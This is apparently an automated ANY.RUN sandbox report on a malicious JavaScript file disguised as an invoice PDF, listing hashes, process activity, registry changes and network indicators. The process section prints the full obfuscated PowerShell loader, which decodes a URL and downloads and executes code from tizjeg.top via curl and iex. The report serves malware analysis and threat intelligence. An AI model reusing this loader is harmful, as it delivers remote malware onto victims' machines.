File name:

_Rechung_01983115434_PDF.js

Full analysis: https://app.any.run/tasks/137d6b74-7e04-4686-948b-282f86e73486
Verdict: Malicious activity
Analysis date: April 08, 2024, 11:08:17
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/plain
File info: Unicode text, UTF-16, little-endian text, with very long lines (951), with CRLF line terminators
MD5:

0B6F9292D57BF2316827F0E129F31EA4

SHA1:

B48AEF8746483C7CD87FE3DBD9103549E91AEAE2

SHA256:

7FC17F4E3AC468A978E9F60C1E422EB574CFC267E60AC602F1FE230C4ECB0946

SSDEEP:

384:0e56dOj2LVhxde4Ve5FZRage/qznAydi/+W2B8I7T+2QIt8h2VuM6K:b0Oj2yZSGnAr2BNVF6K

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Gets information about running processes via WMI (SCRIPT)

      • wscript.exe (PID: 4232)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • conhost.exe (PID: 7156)

    • Creates an object to access WMI (SCRIPT)

      • wscript.exe (PID: 4232)

    • Executed via WMI

      • conhost.exe (PID: 7156)

    • Unusual connection from system programs

      • powershell.exe (PID: 6724)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 6724)

  • INFO

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 1680)

    • Manual execution by a user

      • wscript.exe (PID: 4232)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6724)

    • Checks proxy server information

      • powershell.exe (PID: 6724)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (66.6)
.mp3 | MP3 audio (33.3)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
6
Malicious processes
0
Suspicious processes
3

Behavior graph

Click at the process to see the details
start notepad.exe no specs rundll32.exe no specs wscript.exe no specs conhost.exe no specs powershell.exe slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1680"C:\WINDOWS\system32\NOTEPAD.EXE" "C:\Users\admin\Downloads\_Rechung_01983115434_PDF.js.txt"C:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
4232"C:\Windows\System32\WScript.exe" "C:\Users\admin\Downloads\_Rechung_01983115434_PDF.js" C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5868C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
6568C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
6724powershell $ar='ur' ;new-alias press c$($ar)l;$ukifxdcywobn=(2206,2195,2212,2196,2191,2193,2136,2206,2201,2202,2137,2139,2136,2202,2194,2202,2153,2205,2151,2199,2195,2200,2206,2205,2139,2140);$dosvorv=('bronx','get-cmdlet');$zirbze=$ukifxdcywobn;foreach($rob9e in $zirbze){$awi=$rob9e;$pxbmdjzqvkny=$pxbmdjzqvkny+[char]($awi-2090);$vizit=$pxbmdjzqvkny; $lira=$vizit};$ibnyrultqsja[2]=$lira;$aitxrg='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
conhost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7156conhost --headless powershell $ar='ur' ;new-alias press c$($ar)l;$ukifxdcywobn=(2206,2195,2212,2196,2191,2193,2136,2206,2201,2202,2137,2139,2136,2202,2194,2202,2153,2205,2151,2199,2195,2200,2206,2205,2139,2140);$dosvorv=('bronx','get-cmdlet');$zirbze=$ukifxdcywobn;foreach($rob9e in $zirbze){$awi=$rob9e;$pxbmdjzqvkny=$pxbmdjzqvkny+[char]($awi-2090);$vizit=$pxbmdjzqvkny; $lira=$vizit};$ibnyrultqsja[2]=$lira;$aitxrg='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)C:\Windows\System32\conhost.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
12 858
Read events
12 794
Write events
60
Delete events
4

Modification events

(PID) Process:(1680) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Operation:writeName:NodeSlots
Value:
02020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202
(PID) Process:(1680) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Operation:writeName:MRUListEx
Value:
0400000000000000030000000E0000000C0000000D0000000B000000050000000A000000090000000800000001000000070000000600000002000000FFFFFFFF
(PID) Process:(1680) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4
Operation:writeName:MRUListEx
Value:
050000000000000004000000020000000100000003000000FFFFFFFF
(PID) Process:(1680) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags\120\Shell
Operation:writeName:SniffedFolderType
Value:
Downloads
(PID) Process:(1680) notepad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:GlobalAssocChangedCounter
Value:
75
(PID) Process:(1680) notepad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\OneDrive\Accounts
Operation:writeName:LastUpdate
Value:
30D0136600000000
(PID) Process:(1680) notepad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU
Operation:writeName:3
Value:
4E004F00540045005000410044002E00450058004500000014001F50E04FD020EA3A6910A2D808002B30309D14002E8005398E082303024B98265D99428E115F0000
(PID) Process:(1680) notepad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU
Operation:writeName:MRUListEx
Value:
03000000020000000100000000000000FFFFFFFF
(PID) Process:(1680) notepad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU\js
Operation:delete valueName:MRUList
Value:
(PID) Process:(1680) notepad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU\js
Operation:writeName:0
Value:
14001F50E04FD020EA3A6910A2D808002B30309D14002E8005398E082303024B98265D99428E115F92003200000000000000000080005F52656368756E675F30313938333131353433345F5044462E6A7300680009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000005F00520065006300680075006E0067005F00300031003900380033003100310035003400330034005F005000440046002E006A00730000002A000000
Executable files
0
Suspicious files
0
Text files
4
Unknown types
1

Dropped files

PID
Process
Filename
Type
1680notepad.exeC:\Users\admin\Downloads\_Rechung_01983115434_PDF.jstext
MD5:—
SHA256:—
6724powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_acyd052n.jee.ps1text
MD5:—
SHA256:—
6724powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_p3emf1xv.y3p.psm1text
MD5:—
SHA256:—
6724powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:—
SHA256:—
6724powershell.exeC:\Users\admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logtext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
31
DNS requests
13
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6044
SIHClient.exe
GET
200
23.38.201.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
unknown
3996
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
6044
SIHClient.exe
GET
200
23.38.201.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4828
svchost.exe
239.255.255.250:1900
—
—
—
unknown
3748
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1280
MoUsoCoreWorker.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3996
svchost.exe
40.126.32.138:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3996
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
6044
SIHClient.exe
20.12.23.50:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
6044
SIHClient.exe
23.38.201.156:80
www.microsoft.com
AKAMAI-AS
NO
unknown
6724
powershell.exe
49.13.77.253:80
tizjeg.top
Hetzner Online GmbH
DE
unknown
6044
SIHClient.exe
13.95.31.18:443
fe3cr.delivery.mp.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3748
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
login.live.com
  • 40.126.32.138
  • 40.126.32.133
  • 40.126.32.134
  • 40.126.32.136
  • 20.190.160.14
  • 40.126.32.140
  • 40.126.32.68
  • 20.190.160.20
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
slscr.update.microsoft.com
  • 20.12.23.50
  • 20.114.59.183
whitelisted
www.microsoft.com
  • 23.38.201.156
whitelisted
tizjeg.top
  • 49.13.77.253
unknown
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted

Threats

PID
Process
Class
Message
2160
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
No debug info
Interactive malware hunting service ANY.RUN
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Reports
_Rechung_01983115434_PDF.js